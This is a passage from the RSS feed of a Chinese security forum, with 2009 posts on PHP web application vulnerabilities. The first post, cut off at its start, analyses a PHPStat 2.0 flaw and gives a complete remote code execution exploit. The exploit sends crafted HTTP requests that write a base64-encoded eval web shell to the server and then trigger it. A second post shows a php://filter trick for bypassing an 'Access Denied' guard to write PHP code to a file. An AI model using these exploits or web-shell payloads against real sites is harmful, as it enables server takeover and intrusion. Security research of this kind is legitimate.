++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</code></pre></div><p>上面这段代码是将 &lt;?php @eval($_POST[a]); ?&gt;1 到fl.php文件。利用base64_encode编码避免了使用单引号，所以无须考虑gpc的影响。注意，在字符串不包括 + \ =等特殊符号的情况下，base64_decode的参数是无须使用单引号或者双银引号的。<br />现在还剩下一个问题，文件开始的代码 if( !defined(&#039;WEB_HOME&#039;) ) exit(&#039;Access Denied&#039;); 限制了我们直接触发这段小的shellcode，我们必须找到一个define了WEB_HOME的文件来包含之。PHPStat为我们提供了多个这样的文件我们继续看\templates\ms\common\top.php文件的部分代码，该文件是可以直接访问的。<br /></p><div class="codebox"><pre><code>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
&lt;?
    session_start();
    include_once &#039;../../../include.inc/config.inc.php&#039;;
    include_once &#039;../../../include.inc/function.php&#039;;
    include_once &#039;../../../include.inc/function_pagerank.php&#039;;
    include_once &#039;../../../include.inc/global.inc.php&#039;;
    include_once &#039;../../../include.inc/conn.db.inc.php&#039;;
    include_once &#039;../../../include.inc/pdo_page.inc.php&#039;;
    include_once &#039;../../../parse_site.php&#039;;
    

    $website   = strtolower(strval($_GET[website]));
    $action    = strtolower(strval($_GET[action]));
    $websiteid = $website;
    $queryLimit = new queryLimit();
    if( strval($_GET[showtype] ) == &#039;all&#039; ) $website = $website.&quot;&amp;showtype=all&quot;;

    include_once &quot;../../../&quot;.COUNT_DIRNAME.&quot;/exclusion/website_&quot;.$websiteid.&quot;.php&quot;;
//此处可以触发我们的代码
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</code></pre></div><p>分析就到这里，下面给出exploit，做学习之用<br /></p><div class="codebox"><pre class="vscroll"><code>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
&lt;?php
print_r(&#039;
+---------------------------------------------------------------------------+
PHPStat 2.0 remote code execution exploit
by Flyh4t
+---------------------------------------------------------------------------+
&#039;);
if ($argc &lt; 3) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path website
Example: php &#039;.$argv[0].&#039; localhost /PHPStat2/ 100001
+---------------------------------------------------------------------------+
&#039;);
    exit;
}
error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);
$host = $argv[1];
$path = $argv[2];
$website = $argv[3];
$websiteid = $website - 100000;
$cookie = &#039;PHPStatCookie=PHPStat; PHPStatUser=flyh4t; PHPSESSID=16973668032f872c76a4bfe99bc9ee7a&#039;;
$cmd = &#039;sitename=flyh4t&amp;website=&#039;.$website.&#039;&amp;sitedes=flyh4t&amp;site=http%3A%2F%2F${${fputs(fopen(base64_decode(ZmwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4x))}}&amp;websitetype=%D7%DB%BA%CF%C3%C5%BB%A7&amp;siteshow=0&amp;siterank=0&amp;sitetype=0&amp;exclusionip=&amp;exclusioninter=&amp;action=updatesite&amp;websiteid=&#039;.$websiteid;
$shell = &#039;http://&#039;.$host.$path.&#039;templates/ms/common/fl.php&#039;;
send1($cmd);
send2();
if (!file_get_contents($url) &amp;&amp; file_get_contents($shell) == &#039;1&#039;)
    exit(&quot;Expoilt Success!\nView Your shell:\t$shell\n&quot;);
else 
    exit(&quot;Exploit Failed!\n&quot;);
    
function send1($cmd)
{
    global $host, $path, $website, $cookie;    
    $message = &quot;POST &quot;.$path.&quot;user_info.php?action=editsite&amp;website=$website HTTP/1.1\r\n&quot;;
    $message .= &quot;Accept: */*\r\n&quot;;
    $message .= &quot;Referer: http://$host$path\r\n&quot;;
    $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
    $message .= &quot;Host: $host\r\n&quot;;
    $message .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
    $message .= &quot;Connection: Close\r\n&quot;;
    $message .= &quot;Cookie: $cookie \r\n\r\n&quot;;  
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
}

function send2()
{
    global $host, $path, $website, $cookie;  
    $message = &quot;GET &quot;.$path.&quot;templates/ms/common/top.php?website=$website HTTP/1.1\r\n&quot;;
    $message .= &quot;Accept: */*\r\n&quot;;
    $message .= &quot;Referer: http://$host$path\r\n&quot;;
    $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
    $message .= &quot;Host: $host\r\n&quot;;
    $message .= &quot;Connection: Close\r\n&quot;;
    $message .= &quot;Cookie: $cookie \r\n\r\n&quot;;  
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    }
?&gt;
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Wed, 23 Dec 2009 01:38:09 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=113&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[绕过'Access Denied']]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=112&amp;action=new</link>
			<description><![CDATA[<p>heige的百度空间老是掉留言,看着玩插一脚. :) </p><p>register_globals = On</p><div class="codebox"><pre><code>&lt;?php
$sqlcontent = &quot;&lt;?PHP exit(&#039;Access Denied&#039;); ?&gt;&quot;.$p.&quot;\n&quot;;
file_put_contents($logfile, $sqlcontent);
?&gt;</code></pre></div><div class="quotebox"><blockquote><div><p>exp-demo.php?logfile=php://filter/write=convert.base64-decode/resource=abc.php&amp;p=a<span style="color: red">PD9waHAgcGhwaW5mbygpOy8vPz4=</span></p></div></blockquote></div><p><a href="http://marc.info/?l=full-disclosure&amp;m=126034719521671&amp;w=2">http://marc.info/?l=full-disclosure&amp;m=1 … 521671&amp;w=2</a><br />base64-decode会掉过不能解码的特殊字符,变成PHPexitAccessDenied,Base64编码要求把3个8位字节（3*8=24）转化为4个6位的字节（4*6=24），保证能顺利解码补齐字符随便加个a补齐20位.</p><p><a href="http://docs.php.net/manual/zh/filters.convert.php">http://docs.php.net/manual/zh/filters.convert.php</a></p>]]></description>
			<author><![CDATA[dummy@example.com (jackal)]]></author>
			<pubDate>Mon, 14 Dec 2009 10:09:40 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=112&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[PunBB官方上传附件扩展注射漏洞]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=98&amp;action=new</link>
			<description><![CDATA[<p>:)</p>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Mon, 26 Oct 2009 16:31:45 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=98&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[中易广告联盟系统(ZYADS) sql注入和本地包含漏洞]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=49&amp;action=new</link>
			<description><![CDATA[<p>呵呵，外面到处都是了，就转出来吧。</p>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Wed, 21 Oct 2009 04:55:35 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=49&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Bypass Magic Quote&Xss?]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=92&amp;action=new</link>
			<description><![CDATA[<p><a href="http://www.80vul.com/pch/pch-003.txt">http://www.80vul.com/pch/pch-003.txt</a></p><p>可以看下里面关于preg_replace()的部分，就可以清楚产生这个问题的原因了</p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Sat, 25 Jul 2009 13:36:37 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=92&amp;action=new</guid>
		</item>
	</channel>
</rss>
